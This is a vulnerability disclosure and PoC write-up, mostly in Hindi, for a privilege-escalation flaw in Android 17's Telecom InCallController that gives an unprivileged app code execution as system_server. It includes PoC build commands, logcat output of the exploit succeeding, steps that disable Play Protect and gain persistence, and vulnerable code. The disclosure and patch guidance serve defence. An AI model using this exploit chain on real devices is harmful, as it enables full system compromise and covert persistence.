
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
यह CVE-2026-49881 के लिए एक PoC और राइटअप है, जो Android 17 की Telecom सेवा में InCallController क्लास में एक लॉजिक समस्या है जो एक अनप्रिविलेज्ड ऐप को बिना किसी अतिरिक्त उपयोगकर्ता इंटरैक्शन के UID 1000 system_server के रूप में मनमाना कोड निष्पादन प्राप्त करने की अनुमति देती है। हम यहाँ यह भी दिखाते हैं कि system_server कोड निष्पादन को आधुनिक Android संस्करणों में भी आसानी से स्थायित्व (persistence) प्राप्त करने के लिए अनुकूलित किया जा सकता है।
मैंने इस भेद्यता की सूचना 2026-04-10 को Android सुरक्षा टीम को दी थी, इसकी पुष्टि 2026-05-06 को हुई थी, और इसे सितंबर 2026 Android सुरक्षा बुलेटिन में ठीक किया गया था। (पैच के लिए यहाँ देखें)
रिपोर्टिंग के समय, जहाँ तक मुझे पता है, यह केवल Android 16 QPR3 और उसके बाद के Pixel बिल्ड (साथ ही 17 Beta बिल्ड) को सक्रिय रूप से प्रभावित करता था, लेकिन बाद में यह Android 17 के AOSP स्थिर रिलीज़ में भी पहुँच गया।
इस समस्या से खुद को बचाने के लिए, Google Play सिस्टम अपडेट के साथ-साथ सिस्टम सुरक्षा पैच भी इंस्टॉल करना सुनिश्चित करें। (Telecom Android 17 से एक मेनलाइन घटक है)
system_server में कोड निष्पादन प्राप्त करने का प्रदर्शन करता है, id और स्टैक ट्रेस को logcat में लॉग करता है, और खुद को एक system_server घटक के रूप में पुनः इंस्टॉल करता है।build.sh चलाकर संकलित करें। अन्यथा, आप मैन्युअल रूप से ./gradlew assembleSystemRelease चला सकते हैं, परिणामी app-system-release.apk को app/src/poc/assets/system.apk में ले जा सकते हैं, और फिर ./gradlew assemblePocRelease चला सकते हैं।system_server में प्रवेश करने के बाद PoC Settings.Global में package_verifier_user_consent को -1 पर सेट करके Play Protect को भी बंद कर देता है क्योंकि यह कभी-कभी अज्ञात हस्ताक्षरों के कारण पुनः इंस्टॉल लेनदेन को रोक सकता है। परीक्षण के बाद आपको इसे Settings में फिर से सक्षम करना चाहिए।system_server के रूप में पुनः इंस्टॉलेशन चरण को कुछ प्रति-OEM अनुकूलन की आवश्यकता हो सकती है क्योंकि यह PMS संरचना को पार करने के लिए प्रतीकों पर निर्भर करता है जिन्हें OEM कभी-कभी बदलते हैं।अपेक्षित PoC logcat आउटपुट है:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
यह एक असामान्य रूप से सीधी भेद्यता है। जब भी कुछ Telecom-संबंधित क्रियाएँ होती हैं, InCallController getInCallServiceComponents के माध्यम से उपलब्ध सेवाओं की खोज करने का प्रयास करता है। यह स्वाभाविक रूप से तब ट्रिगर होता है जब सिस्टम के साथ एक कॉल पंजीकृत होती है, लेकिन एक ऐप ट्रांज़ैक्शनल कॉल API TelecomManager.addCall की बदौलत इसे मांग पर भी ट्रिगर कर सकता है। (नोट: PoC में Start Exploit बटन यही उपयोग करता है) इस API को MANAGE_OWN_CALLS की आवश्यकता होती है, लेकिन यह एक सामान्य और उपयोगकर्ता-अदृश्य अनुमति है जो इंस्टॉलेशन पर स्वचालित रूप से प्रदान की जाती है।
यह गणना कमजोर संस्करणों पर इस प्रकार लागू की गई है:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}